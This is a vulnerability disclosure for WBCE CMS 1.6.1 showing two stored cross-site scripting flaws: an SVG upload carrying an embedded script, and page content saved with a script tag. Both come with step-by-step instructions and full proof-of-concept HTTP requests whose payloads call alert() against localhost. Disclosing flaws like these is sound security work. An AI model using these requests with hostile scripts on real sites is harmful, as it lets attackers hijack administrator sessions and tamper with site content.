WBCE CMS 1.6.1 – Multiple Stored Cross-Site Scripting (XSS)
Exploit Title: WBCE CMS 1.6.1 - Multiple Stored Cross-Site Scripting (XSS) Version: 1.6.1 Bugs: XSS Technology: PHP Vendor URL: https://wbce-cms.org/ Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1 Date of found: 03-05-2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== ###XSS-1### steps: 1. Go to media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/) 2. upload malicious svg file svg file content ===> <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.location); </script> </svg> poc request: POST /WBCE_CMS-1.6.1/wbce/modules/elfinder/ef/php/connector.wbce.php HTTP/1.1 Host: localhost Content-Length: 976 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-platform: "Linux" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5u4r3pOGl4EnuBtO Accept: */* Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060167 Connection: close ------WebKitFormBoundary5u4r3pOGl4EnuBtO Content-Disposition: form-data; name="reqid" 187de34ea92ac ------WebKitFormBoundary5u4r3pOGl4EnuBtO Content-Disposition: form-data; name="cmd" upload ------WebKitFormBoundary5u4r3pOGl4EnuBtO Content-Disposition: form-data; name="target" l1_Lw ------WebKitFormBoundary5u4r3pOGl4EnuBtO Content-Disposition: form-data; name="upload[]"; filename="SVG_XSS.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.location); </script> </svg> ------WebKitFormBoundary5u4r3pOGl4EnuBtO Content-Disposition: form-data; name="mtime[]" 1683056102 ------WebKitFormBoundary5u4r3pOGl4EnuBtO-- 3. go to svg file (http://localhost/WBCE_CMS-1.6.1/wbce/media/SVG_XSS.svg) ======================================================================================================================== ###XSS-2### 1. go to pages (http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages) 2. add page 3. write page source content <script>alert(4)</script> (%3Cscript%3Ealert%284%29%3C%2Fscript%3E) payload: %3Cscript%3Ealert%284%29%3C%2Fscript%3E poc request: POST /WBCE_CMS-1.6.1/wbce/modules/wysiwyg/save.php HTTP/1.1 Host: localhost Content-Length: 143 Cache-Control: max-age=0 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages/modify.php?page_id=4 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060475 Connection: close page_id=4§ion_id=4&formtoken=6071e516-6ea84938ea2e60b811895c9072c4416ab66ae07f&content4=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&modify=Save 4. view pages http://localhost/WBCE_CMS-1.6.1/wbce/pages/hello.php |